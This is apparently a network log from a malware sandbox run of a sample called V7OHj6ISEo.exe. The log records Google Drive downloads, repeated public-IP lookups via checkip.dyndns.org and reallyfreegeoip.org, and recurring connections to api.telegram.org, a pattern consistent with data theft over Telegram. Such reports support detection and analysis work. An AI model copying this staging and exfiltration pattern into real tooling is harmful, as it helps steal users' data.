Jan 10, 2025 22:14:45.015031099 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:45.015099049 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:45.015103102 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:45.287358999 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:45.287446976 CET	443	49992	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:45.287493944 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:45.288161993 CET	49992	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:45.291004896 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.292186975 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.295927048 CET	80	49991	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:45.295989990 CET	49991	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.296945095 CET	80	49993	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:45.297108889 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.297108889 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:45.301843882 CET	80	49993	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:46.148102999 CET	80	49993	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:46.149394035 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:46.149431944 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:46.149595022 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:46.150053024 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:46.150063038 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:46.199575901 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:46.777334929 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:46.782321930 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:46.782342911 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:46.782552958 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:46.782574892 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:47.155157089 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:47.155260086 CET	443	49994	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:47.155334949 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:47.161397934 CET	49994	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:47.261995077 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:47.263505936 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:47.266972065 CET	80	49993	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:47.267021894 CET	49993	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:47.268291950 CET	80	49995	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:47.268347025 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:47.268685102 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:47.273487091 CET	80	49995	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:48.297692060 CET	80	49995	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:48.299165964 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:48.299207926 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:48.299304008 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:48.299631119 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:48.299644947 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:48.340172052 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:48.950999975 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:48.952707052 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:48.952732086 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:48.952786922 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:48.952801943 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:49.270771980 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:49.270857096 CET	443	49996	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:49.270941019 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:49.271323919 CET	49996	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:49.274327040 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:49.275485992 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:49.279381037 CET	80	49995	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:49.279462099 CET	49995	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:49.280571938 CET	80	49997	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:49.280642986 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:49.280750036 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:49.285485983 CET	80	49997	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:50.103286982 CET	80	49997	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:50.127609968 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:50.127655983 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:50.127734900 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:50.131877899 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:50.131892920 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:50.152699947 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:50.760504007 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:50.761950016 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:50.761972904 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:50.762047052 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:50.762059927 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:51.051805019 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:51.051903963 CET	443	49998	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:51.052006960 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:51.052473068 CET	49998	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:51.055190086 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:51.056216002 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:51.060220003 CET	80	49997	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:51.060875893 CET	49997	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:51.061018944 CET	80	49999	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:51.064872026 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:51.064979076 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:51.069801092 CET	80	49999	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:52.240042925 CET	80	49999	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:52.242495060 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:52.242549896 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:52.242712975 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:52.243525028 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:52.243542910 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:52.293329954 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:52.877619028 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:52.879246950 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:52.879276991 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:52.879365921 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:52.879371881 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:53.244752884 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:53.244961977 CET	443	50000	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:53.245026112 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:53.249505997 CET	50000	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:53.636156082 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:53.636881113 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:53.641146898 CET	80	49999	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:53.641211987 CET	49999	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:53.641724110 CET	80	50001	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:53.641824007 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:53.641976118 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:53.646748066 CET	80	50001	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:54.498096943 CET	80	50001	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:54.499603987 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:54.499650955 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:54.499754906 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:54.500029087 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:54.500040054 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:54.543466091 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.157416105 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:55.159526110 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:55.159538031 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:55.159593105 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:55.159600019 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:55.523797035 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:55.523880005 CET	443	50002	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:55.523947954 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:55.524362087 CET	50002	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:55.527345896 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.528558016 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.532342911 CET	80	50001	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:55.532413960 CET	50001	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.533402920 CET	80	50003	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:55.533472061 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.533571005 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:55.538360119 CET	80	50003	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:56.362341881 CET	80	50003	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:56.416321039 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:56.416837931 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:56.416874886 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:56.416951895 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:56.417617083 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:56.417632103 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.051393032 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.055207014 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:57.055224895 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.061765909 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:57.061775923 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.378623009 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.378736973 CET	443	50004	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:57.378859043 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:57.379374027 CET	50004	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:57.382673025 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:57.384020090 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:57.387615919 CET	80	50003	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:57.388782978 CET	80	50005	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:57.388854027 CET	50003	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:57.388936043 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:57.389036894 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:57.393739939 CET	80	50005	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:58.223989964 CET	80	50005	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:58.225498915 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:58.225524902 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:58.225672960 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:58.226110935 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:58.226123095 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:58.277734995 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:58.853425026 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:58.854938030 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:58.854954004 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:58.855015993 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:58.855026007 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:59.124793053 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:59.125010014 CET	443	50006	149.154.167.220	192.168.2.7
Jan 10, 2025 22:14:59.125161886 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:59.150526047 CET	50006	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:14:59.155565977 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:59.156673908 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:59.160557985 CET	80	50005	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:59.160609961 CET	50005	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:59.161464930 CET	80	50007	132.226.8.169	192.168.2.7
Jan 10, 2025 22:14:59.161524057 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:59.161710978 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:14:59.166578054 CET	80	50007	132.226.8.169	192.168.2.7
Jan 10, 2025 22:15:00.047101974 CET	80	50007	132.226.8.169	192.168.2.7
Jan 10, 2025 22:15:00.053869963 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.053942919 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.054019928 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.054339886 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.054356098 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.090235949 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.704207897 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.706481934 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.706511974 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.706587076 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.706598043 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.971846104 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.971951008 CET	443	50008	149.154.167.220	192.168.2.7
Jan 10, 2025 22:15:00.972038031 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.972515106 CET	50008	443	192.168.2.7	149.154.167.220
Jan 10, 2025 22:15:00.976309061 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.977269888 CET	50009	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.981265068 CET	80	50007	132.226.8.169	192.168.2.7
Jan 10, 2025 22:15:00.981364965 CET	50007	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.982114077 CET	80	50009	132.226.8.169	192.168.2.7
Jan 10, 2025 22:15:00.982182980 CET	50009	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.982326984 CET	50009	80	192.168.2.7	132.226.8.169
Jan 10, 2025 22:15:00.987113953 CET	80	50009	132.226.8.169	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:14:12.880251884 CET	55223	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:14:12.887218952 CET	53	55223	1.1.1.1	192.168.2.7
Jan 10, 2025 22:14:14.129952908 CET	63460	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:14:14.137132883 CET	53	63460	1.1.1.1	192.168.2.7
Jan 10, 2025 22:14:18.029521942 CET	59513	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:14:18.036047935 CET	53	59513	1.1.1.1	192.168.2.7
Jan 10, 2025 22:14:19.725898981 CET	59926	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:14:19.733231068 CET	53	59926	1.1.1.1	192.168.2.7
Jan 10, 2025 22:14:26.250066042 CET	62413	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:14:26.257013083 CET	53	62413	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:14:12.880251884 CET	192.168.2.7	1.1.1.1	0xcd03	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:14.129952908 CET	192.168.2.7	1.1.1.1	0x1410	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.029521942 CET	192.168.2.7	1.1.1.1	0x8e62	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.725898981 CET	192.168.2.7	1.1.1.1	0x8b50	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:26.250066042 CET	192.168.2.7	1.1.1.1	0x86c3	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:14:12.887218952 CET	1.1.1.1	192.168.2.7	0xcd03	No error (0)	drive.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:14.137132883 CET	1.1.1.1	192.168.2.7	0x1410	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:18.036047935 CET	1.1.1.1	192.168.2.7	0x8e62	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:19.733231068 CET	1.1.1.1	192.168.2.7	0x8b50	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:26.257013083 CET	1.1.1.1	192.168.2.7	0x86c3	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49972	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:18.045551062 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:19.132848024 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 22:14:19.142781973 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:14:19.438960075 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 22:14:25.953408003 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:14:26.246644974 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49975	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:27.486536026 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 22:14:28.979832888 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49977	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:29.978892088 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 22:14:30.886034012 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 21:14:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49979	132.226.8.169	80	4136	C:\Users\user\Desktop\V7OHj6ISEo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:14:32.015575886 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
